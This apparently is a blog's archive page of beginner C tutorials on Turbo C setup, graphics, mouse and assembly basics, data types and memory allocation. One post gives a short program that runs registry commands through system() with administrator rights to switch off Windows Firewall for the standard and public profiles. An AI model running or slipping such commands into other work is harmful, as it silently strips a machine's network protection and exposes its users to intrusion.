Showing posts with label c tutorial. Show all posts
Showing posts with label c tutorial. Show all posts

April 11, 2012

C C++ and C# - A Comparison

C, C++, and C# - A Comparison
Programming Comparison

C++ offers much more than C, as it has templates, exceptions, and classes, and comparatively easier to learn. C# on the other hand is made for .NET environment by Microsoft, and is much simpler than C++. C was mainly redesigned into C++ to make it an object oriented programming language, whereas C# has more focus on design with OOP. The similarities between the three languages are mainly to do with their syntax.
If you compare C and C++, the former can be considered the root of the later, and they share many functionalities, libraries and of course syntax. Both languages also share similar functionality in pointers, strings, arrays, unions and structures. Comparing C# to these two, we find it has inherited quite a few of the statements, keywords and operators from C++.

January 22, 2012

C program to Block Windows Firewall


Here are something that need to be taken care of
System command is not recommended to be used and you dear TC++ cannot execute SYSTEM command; We have not seen it working till now in TC++. Better use Codeblock IDE.
If you Windows 7 user, the program requires elevated privileges to temper with registry, so you have two Windows maintains a central database called Windows Registry to store all kind of settings in the form of keys, values. If you know the correct keys, you can temper with the registry manually or you can automate this system. C language provides us a command System that can be used to execute Command Prompts’ commands like dir, md, attrib. In command prompt, we got a command called reg that can be used to create/view/change the registry settings. So, if we can execute this reg command thorugh SYSTEM function with correct credential, we can block Windows Firewall. We created this program which can block your Windows Firewall.

choices, either run your CodeBlock as Administrator or compile the program, execute the program (it won’t work this time), go to the location of the created executable file and run it as the administrator. First option is better. We will go with that.
3) If you are windows XP user, firewall will be blocked as soon as you run this program, but in case of Windows 7, you need to restart your computer one time to see the changes.
Here is the program.

Code:
/* This program is to Stop the WIndows Firewall from functioning Properly. */
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
int main()
{
        system("reg add HKLM\\system\\currentcontrolset\\Services\\SharedAccess\\parameters\\firewallpolicy\\standardprofile /v EnableFirewall /t reg_dword /d 0 /f");
        system("reg add HKLM\\system\\currentcontrolset\\Services\\SharedAccess\\parameters\\firewallpolicy\\publicprofile /v EnableFirewall /t reg_dword /d 0 /f");
        return 0;
}

If you did everything as told, your output window will be like.


Hope you like the post, comment bellow for Query and Feedback :)

October 25, 2011

Mouse Programming in C - Part 1


Mouse Programming in C - Part 1
When it comes to advanced applications like Games, GUI apps or any graphical application. Mouse is the utmost necessity of a programmer. It’s a powerful tool since in such situations it’s both frustrating and time consuming to rely on keyboard as you do in parallel programming because it‘s sequential. Therefore a good knowledge of mouse programming is warranted for all playful and knowledgeable purposes and to all top-notch DOS programmers.
Mouse Programming can be a very long topic especially when beginner understanding is involved but everything becomes easy with practice.

October 7, 2011

Graphic Programming in C - Part 1

If in your everyday programming you are afraid of coding large algos. Then change your mind from now coz graphic programming demands more patience and hard work so if you were rusty at long coding till now then change your view from now!! and please don't be afraid of reading long posts also!

What are we going to do here?
Here i will tell you some basics of graphics.
The language will be TURBO C v 3.0 second WE WONT BE USING BGI!!!

September 15, 2011

C Assembly Programming - Binary Operations and Concept of Registers

Assembly Programming series by MyCFiles.com
This post will explain different binary operations and the concept of registers.
Read Part 1 First - Introduction to C Assembly Programming


THEORY
When it comes to assembly or lower level programming there is no way to ignore the concept of bits and bytes and therefore the operations on them. Believe it or not if you neglect binary operations you miss 60 % and therefore whole language..




WHY BINARY ONLY???
Actually the whole essence of bits and bytes lies in the way electronic instruments work. Since it is 100 times easy to work with only 2 nos (binary sys) then 10 (dec sys). Hence binary was adopted in electronics. You better grab a book on Boolean algebra to dig it out how computer internals work (call it ALU whatever).

September 8, 2011

Introduction to C Assembly Programming - Part 1

Hello everyone! we have started Assembly Programming series.. Here we going to talk about assembly Programming which is a low-level language..
Introduction to C Assembly Programming - Part 1

Here we going to talk about what is assembly language and what is its scope in turbo c.

The question is too long to explain so i will divide it in parts and let you know one by one

you must have heard that assembly language as BLACK ART suited only to hackers and computer wizards the reason is that it allows both speed and greater control to computer resources and hardwares.It is a language used to do tiny tasks in a large program.A simple program in assembly requires more lines of code than analogus C code.In assembly their aint any predefined functions like printf() or cout instead you must rely on hardware(BIOS functions) for it, thats the hell with assembly.
Since different processors have different config the program for one processor becomes unportable for another processor another flaw.

September 6, 2011

Turbo C For Windows Vista and Windows-7 64 Bit


Turbo C++ for windows vista and windows7 64 bit, 32 bit.
Many colleges still use turbo c++ software to teach c language. But when it comes to newer operating systems like Windows vista and windows 7 it won’t support. Reason is turbo c++ is 16 bit compiler and it runs perfect on old operating system like xp but having some compatibility issue with windows vista and 7.  There are many other compilers available for C language. But most of the student use TC due to their curriculum.

August 22, 2011

How To Get Your Hands On C Programming


What is C ?
C is a Programming language to use for linking objects and as a typical developer platform in Linux environments. The C reference library is built as such as to get the maximum out of the developer package.


What is the use of C in my Life ?
 Well this question really depends upon what carrier you have, if you are a computer science student, you'll definitely need this and to make you as a professional Software developer, it is a must to mess up with C first.. or any other fields, i dunno, but i think it's really unimportant to go into underhood of C language and again if you are a programmer or if you are a guy with a intense curiosity on computers, you really need this. 

August 4, 2011

C Data Types

C has a concept of 'Data Types' which are used to define a variable before its use.
A C language programmer has to tell the system before-hand, the type of numbers or characters he is using in his program. These are data types.
C has different data types for different types of data and can be broadly classified as:
Primary data type
Secondary data type 
User-defined data type

February 20, 2011

Dynamic Memory Allocation in C


Consider you are developing a C program for payroll system. You have declared an array of 50 integers to store employee numbers. C compiler will automatically reserve 100 bytes of memory. Because data type is integer and one integer takes 2 bytes. But at the runtime of program, you have stored information for 30 employees only. That means, you are wasting 40 bytes of Memory. Or, it may happen, you want to store information for more than 50 Employees. In that case, you can not increase the array size at run time.

Don’t worry. C has solution for this problem also – Dynamic memory allocation! You can allocate memory space at the runtime from free space. There are some standard library functions in C, which allows you to allocate and de‐allocate memory space,
malloc(), calloc(), realloc() and free() are important ones.
We will see now how these functions works

February 19, 2011

How C Program Works


Source: http://computer.howstuffworks.com

Here we are going to talk about one simple program c=a+b.

Code:
#include <stdio.h>

int main()
{
    int a, b, c;
    printf("Enter the first value:");
    scanf("%d", &a);
    printf("Enter the second value:");
    scanf("%d", &b);
    c = a + b;
    printf("%d + %d = %d\n", a, b, c);
    return 0;
}
Here's how the Program works when execute it.



Hope you liked the post, give feedback by comments.. :)

February 2, 2011

How to install turbo C Compiler


Turbo C was an Integrated Development Environment and compiler for the C programming language from Borland. It was first introduced in 1987 and was noted for its integrated development environment, small size, extremely fast compile speed and comprehensive manuals.

In May 1990, Borland replaced Turbo C with Turbo C++.

Here we going to talk about Turbo C++ 3.0 version. it is best of all version and widely used by students.

Turbo C++ 3.0 was released in 1991. Initially released as an MS-DOS compiler, 3.0 supported C++ templates, Borland’s inline assembler, and generation of MS-DOS mode
To install turbo c compiler

1. First you need to download the compiler.

2. After finished download unzip the turbo c to folder & open the folder.


Note: For the time of installation the folder should be present anywhere in Drive C..  like desktop, documents, downloads.. 

3. Run install.exe  and press ENTER to continue.


















4.Enter the SOURCE drive to use: C




5. Enter the SOURCE Path: source path is where you extracted the turbo c.zip file we don’t need to give the source it will find and take automatically. you just press ENTER at this step.

6. Then scroll down by arrow key and Start Installation.

Now you have successfully installed turbo c compiler.

Now to open the turbo c compiler
go to Drive C > TC > Bin > TC .exe




You can have shortcut on desktop so that no need to follow long path to open TC.
Just open TC folder in drive C  select TC.exe and right click on it, Click on send to> Desktop (create shortcut).

Now Just 1 thing “Rock the Code..”

hope you liked this post, please comment below to express your feelings… :)

also read:

Twitter Delicious Facebook Digg Stumbleupon Favorites More